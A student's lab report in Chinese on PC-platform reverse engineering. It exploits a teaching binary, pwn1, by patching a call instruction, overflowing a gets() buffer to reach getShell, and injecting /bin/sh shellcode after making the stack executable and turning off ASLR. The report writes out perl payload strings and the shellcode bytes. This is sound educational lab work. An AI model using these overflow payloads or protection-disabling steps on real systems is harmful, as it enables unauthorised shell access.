2019-2020-2 网络对抗技术 20175330 Exp1 PC平台逆向破解
2019-2020-2 网络对抗技术 20175330 Exp1 PC平台逆向破解
目录
- 20175330杨璟旭 2019-2020-2 《网络对抗技术》Exp1 PC平台逆向破解
- 任务一 手动修改机器指令,改变程序执行流程
- 任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序
- 任务三 注入shellcode并执行
一、实验要求
实验对象为linux可执行文件pwn1。文件pwn1包含的函数如下:
- main函数:开始调用foo函数
- foo函数:回显任何用户输入的字符串
- getShell函数:返回一个可用Shell
三个实验要求如下:
- 手工修改机器指令,改变程序执行流程,使得pwm1代码运行调用函数跳转到getShell。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode,修改返回地址运行getShell函数。
二、实验过程
在gitee里下载pwn1.zip压缩包,并移动到共享文件夹kali-share-20175330中。
1.在终端中 输入objdump -d pwn1 | more
对pwn1文件进行反汇编。
2.输入/getShell
查找getShell函数、foo函数、main函数。
3.查看指令内存地址
- call指令的内存地址位于
080484b5
,其功能是用来调用位于08048491
地址处的foo函数。 call
指令的机器码为e8 d7 ff ff ff
,其中call指令对应e8
,那么相应转跳的地址则是d7 ff ff ff
。- 通过对getShell地址计算得到需要修改目的地址为
e8c3ffffff。
4.输入vi pwn1
打开文件,发现是文件以ASCII码的形式出现
5.输入命令:%!xxd
转化为16进制表示
6.在文末输入/d7ff
查找foo函数地址
7.输入i进入编辑模式,将d7
修改为c3
8.输入命令:%!xxd -r
重新转化为ASCII码形式,:wq
保存并退出。重新查看pwn1文件看是否修改成功。
9.对文件进行测试分别运行pwn1
和pwn2
两个文件(pwn1是修改后的文件,pwn2是pwn1的备份),结果显示不同。其中pwn1显示的功能功能是返回一个可用shell,证明调用了getShell函数,pwn0显示的功能为显示用户输入的内容,证明调用的为foo函数。
任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序
1.安装GDB,输入sudo su 获取root权限,输入apt-get update
,再输入apt-get install gdb
。
2.通过老师上课视频知道foo函数指令有Buffer overflow漏洞,在栈结构上可以发现EIP和EBP各占4字节,缓冲区占28字节。如果填充36字节,其中的33-36字节将覆盖EIP中的返回地址,造成缓冲区溢出攻击。
08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
lea -0x1c(%ebp)代表储存数据的地址向下移动了0x1c的空间即28字节 804849a: 89 04 24 mov %eax,(%esp) 804849d: e8 8e fe ff ff call 8048330 <gets@plt>
这里读入字符串,但系统只预留了_28_字节的缓冲区,超出部分会造成溢出
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo
3.输入gdb pwn0
对pwn0文件进行调试,输入r
运行调试,调试时输入1111111122222222333333334444444412345678
。
4.输入info r
命令查看寄存器的值,EIP寄存器此时的值为0x34333231
,是1234对应的ASCII码。
5.我们需要将EIP中的内容填入getShell的地址,输入的字符串为11111111222222223333333344444444\x7d\x84\x04\x08\x0a
。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,使用输出重定向>将perl生成的字符串存储到文件input中。
输入(cat input; cat) | ./pwn0
,能够发现此时返回地址已经被getShell的地址覆盖,开始执行getShell指令。
任务三 注入shellcode并执行
1.输入 cp pwn1 pwn 3将pwn1.bak还原并命名为pwn3
2.输入 sudo apt-get install execstack下载execstack
3.设置堆栈
- 输入
execstack -s pwn3
设置堆栈可执行 - 输入
execstack -q pwn3
查询文件的堆栈是否可执行,结果为X表示可执行 - 输入
more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭,结果为2表示打开 - 输入
echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化 - 输入
more /proc/sys/kernel/randomize_va_space
再次查看,结果为0证明已关闭
4.参考学长的博客shellcode
构造可知本次实验的shellcode
输入perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
构造shellcode,并将shellcode保存到input_shellcode
5.打开两个终端,在第一个终端中输入(cat input_shellcode;cat) | ./pwn3
运行pwn3,在第二个终端中输入ps -ef | grep pwn3
查看pwn3的进程号为2170
6.接下来通过gdb
命令开始调试,输入attach 2170
连接到pwn3进程,连接后输入disassemble foo
对foo函数进行反汇编查看foo函数return指令的地址为0x080448ae,然后输入break *0x080484ae
再此处设置断点
7.在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入info r esp
查看esp寄存器的值为0xffffd21c
输入x/16x 0xffffd21c
以16进制形式查看0xffffd21c地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd21c+0x00000004=0xffffd220
8.将注入地址修改为perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
,并输入(cat input_shellcode;cat) | ./pwn3
运行pwn3。
三、实验感想
在这次实验中我第一次操作了机器码,其实在很久之前谢婷婷老师的课上我就已经学习了这次实验的基本知识点,但没有想过有一天会自己去修改计算机的汇编码。虽然是最简单的实验,但是还是在实验过程中觉得很有趣,虽然知道知识,但在实践过程因为自己太菜中卡了好久,果然还是要多多动手,不然学的再多还是没什么用。